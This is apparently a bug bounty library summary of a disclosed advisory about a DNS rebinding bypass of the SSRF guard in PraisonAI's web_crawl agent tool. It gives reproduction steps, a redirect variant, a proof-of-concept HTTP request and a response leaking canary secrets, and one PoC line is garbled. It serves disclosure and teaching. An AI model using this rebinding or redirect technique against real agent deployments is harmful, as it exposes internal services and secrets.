# PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure

PraisonAI's web_crawl SSRF guard resolves DNS at check time but the fetch backend re-resolves, so a rebinding domain reaches internal services and returns their response body.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by (vendor credit): dinhvaren
- Found by: dinhvaren
- Disclosed: 2026-10-08
- CVE: CVE-2026-61430
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qg25-6gc4-48mg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qg25-6gc4-48mg
- Tags: area:ai domain:ai impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:race-window technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** web_crawl agent tool HTTP fetch (httpx/urllib/crawl4ai backends)
**Root cause:** _is_safe_crawl_url() resolves the hostname and rejects private IPs at validation time but does not pin the IP; the fetch backend re-resolves the URL string at connect time, so a rebinding domain passes the check with a public IP and connects to an internal IP.
**Steps:**
1. Set up a rebinding DNS responder for `rebind.lab` answering a public IP on first lookup and an internal IP on the second.
2. Send `POST /tool/web_crawl` with body `{"url":"http://rebind.lab:8081/secret"}`.
3. Guard resolves rebind.lab to public IP and passes; httpx backend re-resolves to internal IP and fetches `/secret`.
4. Response returns internal body with `provider: "httpx"`; resend if DNS auto-resets (~3s).
5. Redirect variant: send `{"url":"http://redirector:8082/redirect-to-internal"}` where redirector returns `302 -> http://internal-canary:8081/secret`.
**How found:** Code review of the SSRF guard: noticed _is_safe_crawl_url resolves the hostname but returns only a boolean, and the URL string (not a pinned IP) is passed to the backend which resolves independently — a TOCTOU gap. Confirmed with a controlled rebinding DNS responder and internal canary service in Docker.
**Exploitation:** Attacker who can influence the URL an agent crawls supplies a rebinding hostname; the guard's check-time resolution sees a public IP, the backend's connect-time resolution sees an internal IP, and the internal HTTP response body is returned to the caller. Redirect chains achieve the same via a 302 to an internal host.
**Escalation:** Same bypass works across all backends (httpx, urllib fallback, crawl4ai/Chromium); redirect re-validation on httpx still re-resolves at connect so it does not stop rebinding.
**Insight:** When auditing SSRF guards, check whether validation returns a pinned IP that the HTTP client actually connects to; a boolean check on a hostname string is defeated by any client that re-resolves, including per-hop redirect re-validation.

## Proof of concept (copied exactly from the original report)

**HTTP request triggering DNS-rebinding SSRF**

```
POST /tool/web_crawl HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json

{"url":"http://rebind.lab:8081/secret"}
```

**Redirect variant SSRF trigger request**

```
PRAI-05-03-Redirect-Trigger` / `PRAI-05-04-Redirect-Secret-Readback` send `{"url":"http://redirector:8082/redirect-to-internal"}
```

**Response showing internal canary disclosure**

```
{"input_url":"http://rebind.lab:8081/secret",
 "result":{"content":"{ ... \"secret\": \"PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91\", \"token\": \"FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91\" ... }","provider":"httpx"}}
```

